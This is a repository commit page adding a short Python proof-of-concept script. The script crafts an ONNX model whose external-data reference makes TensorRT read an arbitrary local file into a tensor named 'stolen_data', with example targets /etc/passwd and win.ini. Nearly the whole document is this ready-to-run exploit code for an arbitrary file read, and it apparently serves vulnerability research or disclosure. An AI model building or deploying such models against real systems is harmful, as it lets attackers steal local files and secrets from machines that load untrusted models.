treforbenbow commited on
Commit
1ec1476
·
verified ·
1 Parent(s): 51bdd40

Upload create_malicious_model.py with huggingface_hub

Browse files
Files changed (1) hide show
  1. create_malicious_model.py +49 -0
create_malicious_model.py ADDED
@@ -0,0 +1,49 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ """
3
+ Create a malicious ONNX model that reads an arbitrary file via TensorRT.
4
+
5
+ Usage:
6
+ python create_malicious_model.py /path/to/target/file output.onnx [bytes_to_read]
7
+
8
+ Example:
9
+ python create_malicious_model.py C:/Windows/win.ini exploit.onnx
10
+ python create_malicious_model.py /etc/passwd exploit.onnx 1024
11
+ """
12
+ from onnx import TensorProto, helper
13
+ import sys
14
+ import os
15
+
16
+ def create(target_path, output_path, read_bytes):
17
+ n_floats = read_bytes // 4
18
+
19
+ tensor = TensorProto()
20
+ tensor.name = "stolen_data"
21
+ tensor.data_type = TensorProto.FLOAT
22
+ tensor.dims.extend([n_floats])
23
+ tensor.data_location = TensorProto.EXTERNAL
24
+
25
+ for k, v in [("location", target_path), ("offset", "0"), ("length", str(read_bytes))]:
26
+ entry = tensor.external_data.add()
27
+ entry.key = k
28
+ entry.value = v
29
+
30
+ X = helper.make_tensor_value_info("input", TensorProto.FLOAT, [n_floats])
31
+ Y = helper.make_tensor_value_info("output", TensorProto.FLOAT, [n_floats])
32
+ node = helper.make_node("Add", ["input", "stolen_data"], ["output"])
33
+ graph = helper.make_graph([node], "exploit", [X], [Y], initializer=[tensor])
34
+ model = helper.make_model(graph, opset_imports=[helper.make_opsetid("", 13)])
35
+
36
+ with open(output_path, 'wb') as f:
37
+ f.write(model.SerializeToString())
38
+ print(f"[+] Model saved: {output_path} ({os.path.getsize(output_path)} bytes)")
39
+ print(f"[+] Target: {target_path} ({read_bytes} bytes)")
40
+
41
+ if __name__ == "__main__":
42
+ if len(sys.argv) < 3:
43
+ print(f"Usage: {sys.argv[0]} <target_file> <output.onnx> [bytes]")
44
+ sys.exit(1)
45
+ target = sys.argv[1]
46
+ output = sys.argv[2]
47
+ nbytes = int(sys.argv[3]) if len(sys.argv) > 3 else 1024
48
+ nbytes = (nbytes // 4) * 4 # Must be multiple of 4
49
+ create(target, output, nbytes)